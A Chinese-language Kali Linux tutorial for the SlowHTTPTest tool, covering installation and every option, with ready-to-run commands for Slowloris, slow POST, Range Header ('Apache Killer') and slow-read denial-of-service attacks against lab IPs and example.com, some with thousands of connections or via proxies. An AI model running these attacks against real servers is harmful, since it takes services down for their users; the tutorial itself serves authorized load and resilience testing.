slowhttptest:拒绝服务攻击模拟神器!全参数详细教程!Kali Linux教程!

简介

SlowHTTPTest 是一款高度可配置的工具,可模拟一些应用层拒绝服务攻击。它通过以不同方式延长 HTTP 连接来模拟某些应用层拒绝服务攻击。

Slowhttptest 可实现最常见的低带宽应用层 DoS 攻击,并生成包含测试统计数据的 CSV 和 HTML 文件。

它可实现最常见的低带宽应用层拒绝服务攻击,例如:

  • Slowloris
  • Slow HTTP POST
  • 通过耗尽并发连接池发起的慢速读取攻击(基于 TCP 持久计时器漏洞)
  • 通过对服务器造成巨大的内存和 CPU 占用来发起的 Apache Range Header 攻击。

您可以使用它来测试您的 Web 服务器是否存在 DoS 漏洞,或者仅仅了解它可以处理的并发连接数。SlowHTTPTest 适用于大多数 Linux 平台、OS X 和 Cygwin(一个类似于 Unix 的环境和适用于 Microsoft Windows 的命令行界面),并附带 Dockerfile,使操作更加便捷。

安装

源码安装

通过以下命令来进行克隆项目源码,建议请先提前挂好代理进行克隆项目。

git clone https://github.com/shekyan/slowhttptest.git

进入目标并查看。

cd slowhttptest/
ls

配置编译参数。

./configure

编译

make

进入 src 目标并查看。

cd src/
ls

运行以下命名,如果出现这个界面,就说明安装成功了。

./slowhttptest -h

Docker 安装

 通过以下命令来进行克隆项目源码,建议请先提前挂好代理进行克隆项目。

git clone https://github.com/shekyan/slowhttptest.git

进入目标并查看。

cd slowhttptest/
ls

拉取 alpine 3.17的镜像。

sudo docker pull alpine:3.17

 

构建 docker 容器

sudo docker build -t slowhttptest:lastest .

运行docker容器,如果出现这个界面,就说明安装成功了。

sudo docker run slowhttptest:latest -h

Docker 镜像安装

也可以通过 docker 拉取镜像的方式来进行安装

sudo docker pull shekyan/slowhttptest:latest

运行以下命令,如果出现这个界面,就说明安装成功了。

sudo docker run -it shekyan/slowhttptest -h

APT 包管理器安装

Kali Linux 默认是没有安装 slowhttptest 工具的,可以通过以下命令来进行安装

sudo apt install slowhttptest

使用

1. 帮助文档

slowhttptest -h

2. 常规使用

用法: slowhttptest [options ...]

slowhttptest

 

上面蓝色字体的解释:

test type:测试类型
number of connections:连接数
URL:网址
verb:使用的HTTP方法
cookie:网址的cookie 
header:HTTP 标头
Content-Length header value:Content-Length 标头值
follow up data max size:跟进数据最大大小
interval between follow up data:随机数据之间的间隔
connections per second:每秒连接数
probe connection timeout:探针连接超时
test duration:测试时间
using proxy:使用代理
max length of followup data field:后续数据字段的最大长度

下面绿色字体的解释:

slow HTTP test status on 0th second:第 0 秒的慢速 HTTP 测试状态

initializing:正在初始化
pendgin:待处理
connected:已连接
error:错误
closed:已关闭
service available:服务可用

测试模式

3. -H

慢速报头,又名 Slowloris(默认)。

以 SlowLoris 模式启动 slowhttptest,发送未完成的 HTTP 请求。

slowhttptest -H -u http://192.168.174.223/

4. -B

慢速主体,又名 R-U-Dead-Yet

以 Slow POST 模式启动 slowhttptest,发送未完成的 HTTP 消息体。

slowhttptest -B -u http://192.168.174.223/

5. -R

范围攻击,又名 Apache Killer

以 Range Header 模式启动 slowhttptest,发送恶意的 Range 请求头数据。

slowhttptest -R -u http://192.168.174.132/

6. -X

慢速读取,又名 Slow Read

以 Slow Read 模式启动 slowhttptest,缓慢读取 HTTP 响应。

slowhttptest -X -u http://192.168.174.132/

报告选项

7. -g

生成套接字状态变化的统计信息(关闭)

强制 slowhttptest 在测试完成时生成 CSV 和 HTML 文件,文件名中包含时间戳。

slowhttptest -H -g -u http://192.168.174.132/

通过 Excel 去打开 slow_2025_05-30_16-32-23.csv 文件查看。

通过 Firefox 浏览器去打开 slow_2025_05-30_16-32-23.html 查看。以下是生成的 HTML 页面。

8. -o file_prefix

将统计信息输出保存在 file.html 和 file.csv 中(-g 选项必需)。指定自定义文件名,与 -g 一起使用有效。

slowhttptest -H -g -u http://192.168.174.132/ -o test

9. -v level

详细程度 0-4:Fatal(致命), Info(信息), Error(错误), Warning(警告), Debug(调试)。指定日志记录的详细级别。

slowhttptest -B -u http://192.168.174.132/ -v 0
slowhttptest -B -u http://192.168.174.132/ -v 1
slowhttptest -B -u http://192.168.174.132/ -v 2
slowhttptest -B -u http://192.168.174.132/ -v 3
slowhttptest -B -u http://192.168.174.132/ -v 4

常规选项

10. -c connections

目标连接数 (50)。指定测试期间要建立的目标连接数。

slowhttptest -R -u http://192.168.174.132/ -c 100

11. -i seconds

后续数据间隔秒数 (10)。指定 slowrois 和慢速 POST 测试的后续数据间隔。

slowhttptest -H -u http://192.168.174.132/ -i 20

12. -l seconds

目标测试时长 (240)。指定测试持续时间(以秒为单位)。

slowhttptest -B -u http://192.168.174.132/ -l 100

13. -r rate

每秒连接数 (50)。指定连接速率。

slowhttptest -B -u http://192.168.174.132/ -r 100

14. -s bytes

内容长度标头的值(如果需要) (4096)。指定慢速 POST 测试的 Content-Length 标头值。

slowhttptest -H -u http://192.168.174.132/ -s 1024

15. -t verb

请求中使用的动词,对于较慢的标头和响应,默认为 GET;对于较慢的正文,默认为 POST。指定 HTTP 请求中使用的动词。

slowhttptest -H -u http://192.168.174.132/ -t POST

16. -u URL

目标的绝对 URL (http://localhost/)。指定 URL。

slowhttptest -H -u http://192.168.174.132/

17. -x bytes

每个 tick 的后续数据的每个随机名称/值对的最大长度,例如-x 2 生成 X-xx: xx 表示标头,&xx=xx 表示正文,其中 x 为随机字符 (32)

指定 slowloris 和慢速 POST 测试的后续数据的最大长度。

slowhttptest -H -u http://192.168.174.132/ -x 64

18. -f Content-type

标头的 content-type 值 (application/x-www-form-urlencoded)。指定 Content-Type 标头的值。

slowhttptest -H -u http://192.168.174.132/ -f application/json

19. -m accept

标头的 accept 值 (text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)。指定接受标头的值。

slowhttptest -H -u http://192.168.174.132/ -m text/html,*/*

探测/代理选项

20. -d host:port

所有通过 host:port 的 HTTP 代理转发的流量(关闭)。指定所有连接要连接的 HTTP 代理服务器。

slowhttptest -H -u http://192.168.174.132/ -d 192.168.174.129:10809

21. -e host:port

探测通过 host:port 的 HTTP 代理转发的流量(关闭)。指定探测连接要连接的 HTTP 代理服务器。

slowhttptest -H -u http://192.168.174.132/ -e 192.168.174.129:10809

22. -p seconds

探测连接后等待 HTTP 响应的超时时间,超过该时间服务器将被视为无法访问 (5)。指定在将服务器标记为 DoSed 之前,等待探测连接 HTTP 响应的时间间隔。

slowhttptest -H -u http://192.168.174.132/ -p 10

23. -j cookie

标头的 cookies 值(例如:-j "user_id=1001; timeout=9000")。

slowhttptest -H -u http://192.168.174.132/ -j "user_id=1001; timeout=9000"

范围攻击特定选项

24. -a

范围标头中范围的起始左边界 (5)。设置 Range Header 攻击的范围说明符的起始值。

slowhttptest -R -u http://192.168.174.132/ -a 10

25. -b

范围标头右边界值的字节限制(2000)。设置 Range Header 攻击的 range-specifier 限制值。

slowhttptest -R -u http://192.168.174.132/ -b 3000

慢速读取特定选项

26. -k num

连接中重复相同请求的次数。用于如果服务器支持持久连接,则乘以响应大小 (1)。指定慢速读取测试中每个套接字请求资源的次数。

slowhttptest -X -u http://192.168.174.132/ -k 5

27. -n seconds

从接收缓冲区读取操作的间隔(以秒为单位)(1)。指定慢速读取测试的读取操作间隔。

slowhttptest -X -u http://192.168.174.132/ -n 5

 

28. -w bytes

指定窗口大小范围的起始字节数 (1)。指定在慢速读取测试中,TCP 通告窗口大小的起始范围。

slowhttptest -X -u http://192.168.174.132/ -w 5

29. -y bytes

指定窗口大小范围的结束字节数 (512)。指定在慢速读取测试中,TCP 通告窗口大小的结束范围。

slowhttptest -X -u http://192.168.174.132/ -y 1024

30. -z bytes

仅需调用一次 read() 即可从接收缓冲区进行慢速读取 (5)。指定每次 read() 操作从接收缓冲区读取的字节数。

slowhttptest -X -u http://192.168.174.132/ -z 20

综合使用

使用 Slowloris 模式 (-H) 的 1000 个连接 (-c 1000),并生成带有输出文件名 (-o slowhttp) 的统计数据 (-g>)。使用 10 秒等待数据 (-i 10),使用 200 个连接 (-r 200) 对目标 URL (-u http://192.168.1.202/index.php) 进行 GET 请求 (-t GET),最大长度为 24 字节 (-x 24),超时时间为 3 秒 (-p 3)

slowhttptest -c 1000 -H -g -o slowhttp -i 10 -r 200 -t GET -u http://192.168.1.202/index.php -x 24 -p 3

启动 host.example.com 的 slowloris 测试,连接数为 1000,统计信息记录在 my_header_stats 中,后续头信息的间隔为 10 秒,连接速率为每秒 200 个连接

slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u https://example.com/index.html -x 24 -p 3

启动 host.example.com 的慢速 POST 测试,连接数为 3000,统计信息记录在 my_body_stats 中,后续头信息的间隔为 110 秒,连接速率为每秒 200 个连接,Content-Length 头信息的值为 8192,后续数据的最大长度为随机值,限制为 10 个字节,探测连接等待 3 秒,等待 HTTP 响应,然后将服务器标记为DoSed

slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u http://example.com/loginform.html -x 10 -p 3

使用 1000 个连接对 host.example.com 进行 Range Header 测试,使用 HEAD 动词,生成 HTTP 头范围:0-, x-1, x-2, x-3, ... x-y,其中 x 为 10,y 为 3000,连接率为 500:后续头之间的间隔为 10 秒,连接率为每秒 200 个连接

slowhttptest -R -u http://example.com/ -t HEAD -c 1000 -a 10 -b 3000 -r 500

使用以下方式对 host.example.com 进行慢速读取测试8000 个连接,不生成统计数据,连接速率为每秒 200 个连接,TCP 通告窗口大小为 512 到 1024 之间的随机值,slowhttptest 每 5 秒从每个连接读取 32 个字节,每个连接流水线处理 3 个请求,探测连接等待 3 秒 HTTP 响应,然后将服务器标记为 DoSed

slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://example.com/resources/index.html -p 3

通过 HTTP 代理服务器(地址为 10.10.0.1:8080)对 host.example.com 进行慢读测试,连接数为 8000 个,不生成统计数据,其余测试值为默认值。 slowhttptest 最有可能测试的是 HTTP 代理服务器本身,而不是目标服务器,但这完全取决于 HTTP 代理服务器的实现

slowhttptest -d 10.10.0.1:8080 -c 8000 -X -u https://example.com/resources/index.html

启动 host.example.com 的慢读测试,并将探测流量定向到 HTTP 代理服务器(10.10.0.1:8080),连接数为 8000,不生成任何统计信息,其余测试值为默认值。为探测连接指定另一个连接通道有助于确保 slowhttptest 显示被测服务器可用性的有效统计数据

slowhttptest -e 10.10.0.1:8080 -c 8000 -X -u https://example.com/resources/index.html

-X 以 1000 个连接启动慢读测试,每秒创建 200 个连接。每个连接的初始 SYN 数据包将具有 512 到 1024 之间的随机通告窗口大小值,应用程序每 5 秒从每个套接字的接收缓冲区读取 32 个字节。为了增加整体响应大小,我们使用管道因子 3,即每个套接字请求同一资源 3 次。如果 3 秒后仍未收到响应,探测连接将被视为服务器受到 DoS 攻击。

slowhttptest -c 1000 -X -g -o slow_read_stats -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u https://example.com/resources/index.html -p 3

总结

通过对 slowhttptest 工具的实际操作与分析,可以清晰地理解慢速 HTTP 攻击的工作原理及其对 Web 服务稳定性的影响。该工具支持多种慢速攻击模式,如 slowloris、slowbody、slowread 等,能够有效模拟真实网络环境中的资源耗尽型攻击场景。它为安全测试人员提供了一个精确、可控、可复现的测试平台,有助于评估服务器在处理异常请求行为下的响应策略与防御机制。合理使用 slowhttptest,不仅有助于发现潜在性能瓶颈,也可为构建更健壮的 Web 应用提供参考依据。

在此特别强调,本教程仅在合法授权的情况下进行测试和研究,请勿用于其他用途。未经授权使用此类工具可能会侵犯他人隐私,触犯相关法律,任何因此引发的法律或利益纠纷与本人无关。

欢迎各位大佬,小白来找我交流。